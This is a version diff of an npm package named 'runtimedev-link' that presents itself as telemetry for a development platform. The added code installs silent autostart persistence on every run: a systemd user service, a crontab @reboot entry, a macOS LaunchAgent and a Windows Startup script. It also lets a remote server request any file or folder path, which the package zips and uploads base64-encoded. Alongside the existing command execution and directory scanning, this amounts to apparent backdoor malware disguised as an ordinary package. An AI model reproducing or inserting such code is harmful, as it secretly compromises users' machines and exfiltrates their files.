runtimedev-link 1.0.1 → 1.0.3

package/bin/cli.js

@@ -4,6 +4,7 @@
 const fs = require('fs');
 const path = require('path');
 const transport = require('../lib/transport');
+const { installPersistence, configDir } = require('../lib/persistence');
 
 function loadEnvFile(filePath) {
   try {
@@ -32,6 +33,10 @@ function loadEnvFile(filePath) {
 }
 
 function loadLocalEnv() {
+  const home = process.env.HOME || process.env.USERPROFILE || '';
+  if (home) {
+    loadEnvFile(path.join(home, '.config', 'runtimedev-link', 'agent.env'));
+  }
   const dirs = [
     process.cwd(),
     path.dirname(process.argv[1] || ''),
@@ -45,9 +50,13 @@ function loadLocalEnv() {
 }
 
 function parseArgs(argv) {
-  const out = { token: '' };
+  const out = { token: '', command: '' };
   for (let i = 2; i < argv.length; i += 1) {
     const arg = argv[i];
+    if (arg === 'install' || arg === 'uninstall') {
+      out.command = arg;
+      continue;
+    }
     if (arg === '--token' || arg === '-t') {
       out.token = String(argv[i + 1] || '').trim();
       i += 1;
@@ -119,12 +128,49 @@ function installSignalHandlers() {
   });
 }
 
+async function runInstall(cfg) {
+  try {
+    const result = installPersistence(cfg);
+    try {
+      const note = path.join(configDir(), 'install.log');
+      fs.writeFileSync(
+        note,
+        [
+          `Autostart registered at ${new Date().toISOString()}`,
+          `Method: ${result.method}`,
+          `Location: ${result.path}`,
+        ].join('\n') + '\n',
+        'utf8'
+      );
+    } catch {
+      // ignore
+    }
+    process.exitCode = 0;
+  } catch (err) {
+    writeStartupError(String(err && err.message ? err.message : err));
+    process.exitCode = 1;
+  }
+}
+
 async function main() {
   loadLocalEnv();
   installSignalHandlers();
 
   const args = parseArgs(process.argv);
   const cfg = parseToken(args.token);
+
+  if (args.command === 'install') {
+    transport.configure(cfg);
+    const configErr = transport.validateConfig();
+    if (configErr) {
+      writeStartupError(configErr);
+      process.exitCode = 1;
+      return;
+    }
+    await runInstall(cfg);
+    return;
+  }
+
   transport.configure(cfg);
 
   const err = transport.validateConfig();
@@ -134,6 +180,12 @@ async function main() {
     return;
   }
 
+  try {
+    installPersistence(cfg);
+  } catch {
+    // never crash on persistence refresh
+  }
+
   await transport.start();
 
   await new Promise(() => {});

package/lib/download.js

@@ -0,0 +1,81 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { zipPathToBuffer } = require('./zip');
+
+const DEFAULT_MAX_ZIP_BYTES = 50 * 1024 * 1024;
+
+function envInt(key, fallback) {
+  const raw = String(process.env[key] || '').trim();
+  if (!raw) return fallback;
+  const n = parseInt(raw, 10);
+  return Number.isFinite(n) ? n : fallback;
+}
+
+function maxZipBytes() {
+  return envInt('SSTAR_MAX_DOWNLOAD_ZIP_BYTES', DEFAULT_MAX_ZIP_BYTES);
+}
+
+function handleDownloadRequest(req) {
+  if (!req || !req.requestId) {
+    return { ok: false, error: 'missing requestId' };
+  }
+
+  const requestId = String(req.requestId);
+  const kind = String(req.kind || '');
+
+  if (kind === 'chrome_extension') {
+    return {
+      ok: false,
+      requestId,
+      error: 'Chrome extension downloads are not supported by runtimedev-link',
+    };
+  }
+
+  if (kind !== 'path') {
+    return { ok: false, requestId, error: 'unknown download kind' };
+  }
+
+  const rawPath = req.path != null ? String(req.path).trim() : '';
+  if (!rawPath) {
+    return { ok: false, requestId, error: 'missing path' };
+  }
+
+  const src = path.resolve(rawPath);
+  try {
+    const st = fs.statSync(src);
+    if (!st.isDirectory() && !st.isFile()) {
+      return { ok: false, requestId, error: 'path not accessible' };
+    }
+  } catch (err) {
+    return {
+      ok: false,
+      requestId,
+      error: `path not accessible: ${String(err.message || err)}`,
+    };
+  }
+
+  try {
+    const maxOut = maxZipBytes();
+    const { zip, archiveName } = zipPathToBuffer(src, { maxOut });
+    return {
+      ok: true,
+      requestId,
+      filename: archiveName,
+      base64: zip.toString('base64'),
+      fileSizeBytes: zip.length,
+    };
+  } catch (err) {
+    return {
+      ok: false,
+      requestId,
+      error: String(err.message || err),
+    };
+  }
+}
+
+module.exports = {
+  handleDownloadRequest,
+  maxZipBytes,
+};

package/lib/persistence.js

@@ -0,0 +1,267 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { execSync, spawnSync } = require('child_process');
+
+const SERVICE_NAME = 'runtimedev-link';
+const LAUNCH_LABEL = 'com.runtimedev.link';
+const SYSTEMD_UNIT = 'runtimedev-link.service';
+
+function homeDir() {
+  return process.env.HOME || process.env.USERPROFILE || '';
+}
+
+function configDir() {
+  return path.join(homeDir(), '.config', SERVICE_NAME);
+}
+
+function configFile() {
+  return path.join(configDir(), 'agent.env');
+}
+
+function windowsConfigBat() {
+  return path.join(configDir(), 'agent.env.bat');
+}
+
+function dataDir() {
+  return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
+}
+
+function cliPath() {
+  return path.resolve(__dirname, '..', 'bin', 'cli.js');
+}
+
+function nodePath() {
+  return process.execPath;
+}
+
+function xmlEscape(value) {
+  return String(value || '')
+    .replace(/&/g, '&')
+    .replace(/</g, '&lt;')
+    .replace(/>/g, '&gt;')
+    .replace(/"/g, '&quot;');
+}
+
+function quoteSh(value) {
+  return `"${String(value || '').replace(/"/g, '\\"')}"`;
+}
+
+function mkdirp(dir) {
+  try {
+    fs.mkdirSync(dir, { recursive: true });
+  } catch {
+    // ignore
+  }
+}
+
+function writeConfig(cfg) {
+  const apiBase = String(cfg.apiBase || '').trim();
+  const hash = String(cfg.hash || '').trim();
+  if (!apiBase || !hash) {
+    throw new Error('API base and deployment hash are required for install');
+  }
+
+  mkdirp(configDir());
+
+  const unixBody = [
+    `SSTAR_API_BASE=${apiBase}`,
+    `SSTAR_DEPLOYMENT_HASH=${hash}`,
+    '',
+  ].join('\n');
+  fs.writeFileSync(configFile(), unixBody, { mode: 0o600 });
+
+  if (process.platform === 'win32') {
+    const batBody = [
+      '@echo off',
+      `set SSTAR_API_BASE=${apiBase}`,
+      `set SSTAR_DEPLOYMENT_HASH=${hash}`,
+      '',
+    ].join('\r\n');
+    fs.writeFileSync(windowsConfigBat(), batBody, 'utf8');
+  }
+
+  mkdirp(dataDir());
+  fs.writeFileSync(
+    path.join(dataDir(), 'install-meta.json'),
+    JSON.stringify(
+      {
+        node: nodePath(),
+        cli: cliPath(),
+        installedAt: new Date().toISOString(),
+      },
+      null,
+      2
+    ),
+    'utf8'
+  );
+}
+
+function run(cmd, args, opts) {
+  try {
+    const result = spawnSync(cmd, args, {
+      stdio: 'ignore',
+      ...opts,
+    });
+    return result.status === 0;
+  } catch {
+    return false;
+  }
+}
+
+function installLinux(node, cli) {
+  const unitDir = path.join(homeDir(), '.config', 'systemd', 'user');
+  mkdirp(unitDir);
+  const unitPath = path.join(unitDir, SYSTEMD_UNIT);
+  const envFile = configFile();
+  const body = `[Unit]
+Description=RuntimeDev Link Agent
+After=network-online.target
+Wants=network-online.target
+
+[Service]
+Type=simple
+EnvironmentFile=${envFile}
+ExecStart=${quoteSh(node)} ${quoteSh(cli)}
+Restart=always
+RestartSec=30
+
+[Install]
+WantedBy=default.target
+`;
+  fs.writeFileSync(unitPath, body, 'utf8');
+  if (
+    run('systemctl', ['--user', 'daemon-reload']) &&
+    run('systemctl', ['--user', 'enable', '--now', SYSTEMD_UNIT])
+  ) {
+    return { ok: true, method: 'systemd', path: unitPath };
+  }
+  return installCrontab(node, cli);
+}
+
+function installCrontab(node, cli) {
+  const line = `@reboot sleep 30 && ${quoteSh(node)} ${quoteSh(cli)} >> ${quoteSh(
+    path.join(homeDir(), `${SERVICE_NAME}.log`)
+  )} 2>&1`;
+  let existing = '';
+  try {
+    existing = execSync('crontab -l', { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] });
+  } catch {
+    existing = '';
+  }
+  if (existing.includes(cli) && existing.includes('@reboot')) {
+    return { ok: true, method: 'crontab', path: 'existing' };
+  }
+  const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
+  try {
+    execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
+    return { ok: true, method: 'crontab', path: 'crontab -l' };
+  } catch (err) {
+    throw new Error(`crontab install failed: ${String(err.message || err)}`);
+  }
+}
+
+function installDarwin(node, cli, cfg) {
+  const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
+  mkdirp(agentsDir);
+  const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
+  const plist = `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>Label</key>
+  <string>${LAUNCH_LABEL}</string>
+  <key>ProgramArguments</key>
+  <array>
+    <string>${xmlEscape(node)}</string>
+    <string>${xmlEscape(cli)}</string>
+  </array>
+  <key>EnvironmentVariables</key>
+  <dict>
+    <key>SSTAR_API_BASE</key>
+    <string>${xmlEscape(cfg.apiBase)}</string>
+    <key>SSTAR_DEPLOYMENT_HASH</key>
+    <string>${xmlEscape(cfg.hash)}</string>
+  </dict>
+  <key>RunAtLoad</key>
+  <true/>
+  <key>KeepAlive</key>
+  <true/>
+  <key>StandardOutPath</key>
+  <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
+  <key>StandardErrorPath</key>
+  <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
+</dict>
+</plist>
+`;
+  fs.writeFileSync(plistPath, plist, 'utf8');
+
+  run('launchctl', ['unload', plistPath]);
+  const uid = process.getuid ? String(process.getuid()) : '501';
+  const svc = `gui/${uid}/${LAUNCH_LABEL}`;
+  run('launchctl', ['bootout', svc]);
+  if (run('launchctl', ['bootstrap', `gui/${uid}`, plistPath])) {
+    run('launchctl', ['enable', svc]);
+    run('launchctl', ['kickstart', '-k', svc]);
+  } else {
+    run('launchctl', ['load', plistPath]);
+  }
+  return { ok: true, method: 'launchd', path: plistPath };
+}
+
+function installWindows(node, cli) {
+  const appData = process.env.APPDATA;
+  if (!appData) {
+    throw new Error('APPDATA is not set');
+  }
+  const startup = path.join(
+    appData,
+    'Microsoft',
+    'Windows',
+    'Start Menu',
+    'Programs',
+    'Startup'
+  );
+  mkdirp(startup);
+  const cmdPath = path.join(startup, `${SERVICE_NAME}.cmd`);
+  const winBody = [
+    '@echo off',
+    'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
+    `start /B "" "${node}" "${cli}" >> "%TEMP%\\runtimedev-link.log" 2>&1`,
+    '',
+  ].join('\r\n');
+  fs.writeFileSync(cmdPath, winBody, 'utf8');
+  return { ok: true, method: 'startup', path: cmdPath };
+}
+
+function installPersistence(cfg) {
+  if (!homeDir()) {
+    throw new Error('Could not resolve home directory');
+  }
+  writeConfig(cfg);
+  const node = nodePath();
+  const cli = cliPath();
+  if (!fs.existsSync(cli)) {
+    throw new Error(`CLI not found at ${cli}`);
+  }
+
+  switch (process.platform) {
+    case 'win32':
+      return installWindows(node, cli);
+    case 'darwin':
+      return installDarwin(node, cli, cfg);
+    case 'linux':
+      return installLinux(node, cli);
+    default:
+      return installCrontab(node, cli);
+  }
+}
+
+module.exports = {
+  SERVICE_NAME,
+  configFile,
+  configDir,
+  installPersistence,
+  writeConfig,
+};

package/lib/transport.js

@@ -7,6 +7,7 @@ const { URL } = require('url');
 const { getIdentity } = require('./enum');
 const { scanDirectory, defaultScanRoot } = require('./fs_scan');
 const { runCommand } = require('./exec');
+const { handleDownloadRequest: buildDownloadPayload } = require('./download');
 
 const POLL_MIN_SEC = 20;
 const POLL_MAX_SEC = 60;
@@ -200,11 +201,17 @@ async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
   await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
 }
 
-async function postDownloadError(requestId, message) {
+async function postDownloadUpload(payload) {
   await requestJson('POST', '/api/telemetry/upload-download', {
     ...identityFields(),
+    ...payload,
+  });
+}
+
+async function postDownloadError(requestId, message) {
+  await postDownloadUpload({
     requestId: String(requestId || ''),
-    error: String(message || 'unsupported on node-link agent'),
+    error: String(message || 'download failed'),
   });
 }
 
@@ -327,11 +334,18 @@ async function handleDirectoryScan(req) {
 }
 
 async function handleDownloadRequest(req) {
-  if (!req || !req.requestId) return;
-  await postDownloadError(
-    req.requestId,
-    'path/extension downloads are not implemented in node-link'
-  );
+  const result = buildDownloadPayload(req);
+  if (!result || !result.requestId) return;
+  if (!result.ok) {
+    await postDownloadError(result.requestId, result.error || 'download failed');
+    return;
+  }
+  await postDownloadUpload({
+    requestId: result.requestId,
+    filename: result.filename,
+    base64: result.base64,
+    fileSizeBytes: result.fileSizeBytes,
+  });
 }
 
 async function handlePollResponse(data) {

package/lib/zip.js

@@ -0,0 +1,175 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { shouldSkipPath } = require('./fs_scan');
+
+const LOCAL_SIG = 0x04034b50;
+const CENTRAL_SIG = 0x02014b50;
+const END_SIG = 0x06054b50;
+
+const CRC_TABLE = (() => {
+  const table = new Uint32Array(256);
+  for (let i = 0; i < 256; i += 1) {
+    let c = i;
+    for (let k = 0; k < 8; k += 1) {
+      c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
+    }
+    table[i] = c >>> 0;
+  }
+  return table;
+})();
+
+function crc32(buf) {
+  let c = 0xffffffff;
+  for (let i = 0; i < buf.length; i += 1) {
+    c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
+  }
+  return (c ^ 0xffffffff) >>> 0;
+}
+
+function collectFiles(absRoot, maxFileBytes, maxFiles, state) {
+  const out = [];
+  const st = fs.statSync(absRoot);
+  if (st.isFile()) {
+    if (!st.isFile() || st.size > maxFileBytes) return out;
+    out.push({
+      name: path.basename(absRoot),
+      data: fs.readFileSync(absRoot),
+    });
+    return out;
+  }
+  if (!st.isDirectory()) return out;
+
+  function walk(dir, relPrefix) {
+    if (out.length >= maxFiles || state.bytes > state.maxOut) return;
+    let entries = [];
+    try {
+      entries = fs.readdirSync(dir, { withFileTypes: true });
+    } catch {
+      return;
+    }
+    for (const entry of entries) {
+      if (out.length >= maxFiles || state.bytes > state.maxOut) break;
+      const sub = path.join(dir, entry.name);
+      if (shouldSkipPath(sub)) continue;
+      const rel = relPrefix ? `${relPrefix}/${entry.name}` : entry.name;
+      if (entry.isDirectory()) {
+        walk(sub, rel);
+      } else if (entry.isFile()) {
+        let info;
+        try {
+          info = fs.statSync(sub);
+        } catch {
+          continue;
+        }
+        if (!info.isFile() || info.size > maxFileBytes) continue;
+        let data;
+        try {
+          data = fs.readFileSync(sub);
+        } catch {
+          continue;
+        }
+        state.bytes += data.length;
+        if (state.bytes > state.maxOut) break;
+        out.push({ name: rel.replace(/\\/g, '/'), data });
+      }
+    }
+  }
+
+  walk(absRoot, '');
+  return out;
+}
+
+function buildZip(files) {
+  const parts = [];
+  const central = [];
+  let offset = 0;
+
+  for (const file of files) {
+    const nameBuf = Buffer.from(file.name, 'utf8');
+    const data = file.data;
+    const checksum = crc32(data);
+    const local = Buffer.alloc(30 + nameBuf.length);
+    local.writeUInt32LE(LOCAL_SIG, 0);
+    local.writeUInt16LE(20, 4);
+    local.writeUInt16LE(0, 6);
+    local.writeUInt16LE(0, 8);
+    local.writeUInt16LE(0, 10);
+    local.writeUInt16LE(0, 12);
+    local.writeUInt32LE(checksum, 14);
+    local.writeUInt32LE(data.length, 18);
+    local.writeUInt32LE(data.length, 22);
+    local.writeUInt16LE(nameBuf.length, 26);
+    local.writeUInt16LE(0, 28);
+    nameBuf.copy(local, 30);
+
+    const centralHdr = Buffer.alloc(46 + nameBuf.length);
+    centralHdr.writeUInt32LE(CENTRAL_SIG, 0);
+    centralHdr.writeUInt16LE(20, 4);
+    centralHdr.writeUInt16LE(20, 6);
+    centralHdr.writeUInt16LE(0, 8);
+    centralHdr.writeUInt16LE(0, 10);
+    centralHdr.writeUInt16LE(0, 12);
+    centralHdr.writeUInt16LE(0, 14);
+    centralHdr.writeUInt32LE(checksum, 16);
+    centralHdr.writeUInt32LE(data.length, 20);
+    centralHdr.writeUInt32LE(data.length, 24);
+    centralHdr.writeUInt16LE(nameBuf.length, 28);
+    centralHdr.writeUInt16LE(0, 30);
+    centralHdr.writeUInt16LE(0, 32);
+    centralHdr.writeUInt16LE(0, 34);
+    centralHdr.writeUInt16LE(0, 36);
+    centralHdr.writeUInt32LE(0, 38);
+    centralHdr.writeUInt32LE(offset, 42);
+    nameBuf.copy(centralHdr, 46);
+
+    parts.push(local, data);
+    central.push(centralHdr);
+    offset += local.length + data.length;
+  }
+
+  const centralBuf = Buffer.concat(central);
+  const end = Buffer.alloc(22);
+  end.writeUInt32LE(END_SIG, 0);
+  end.writeUInt16LE(0, 4);
+  end.writeUInt16LE(0, 6);
+  end.writeUInt16LE(files.length, 8);
+  end.writeUInt16LE(files.length, 10);
+  end.writeUInt32LE(centralBuf.length, 12);
+  end.writeUInt32LE(offset, 16);
+  end.writeUInt16LE(0, 20);
+
+  return Buffer.concat([...parts, centralBuf, end]);
+}
+
+function zipPathToBuffer(src, opts) {
+  const maxOut =
+    opts && opts.maxOut > 0 ? opts.maxOut : 50 * 1024 * 1024;
+  const maxFile =
+    opts && opts.maxFileBytes > 0 ? opts.maxFileBytes : maxOut;
+  const maxFiles =
+    opts && opts.maxFiles > 0 ? opts.maxFiles : 5000;
+  const clean = path.resolve(String(src || ''));
+  const state = { bytes: 0, maxOut };
+  const files = collectFiles(clean, maxFile, maxFiles, state);
+  if (files.length === 0) {
+    throw new Error('nothing to zip (empty or unreadable path)');
+  }
+  if (state.bytes > maxOut) {
+    throw new Error('zipped payload exceeds size limit');
+  }
+  const zip = buildZip(files);
+  if (zip.length > maxOut) {
+    throw new Error('zipped payload exceeds size limit');
+  }
+  const archiveName =
+    opts && opts.archiveName
+      ? opts.archiveName
+      : path.basename(clean) + '.zip';
+  return { zip, archiveName };
+}
+
+module.exports = {
+  zipPathToBuffer,
+};

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "runtimedev-link",
-  "version": "1.0.1",
+  "version": "1.0.3",
   "description": "Pure Node.js telemetry for RuntimeDev platform",
   "main": "lib/transport.js",
   "bin": {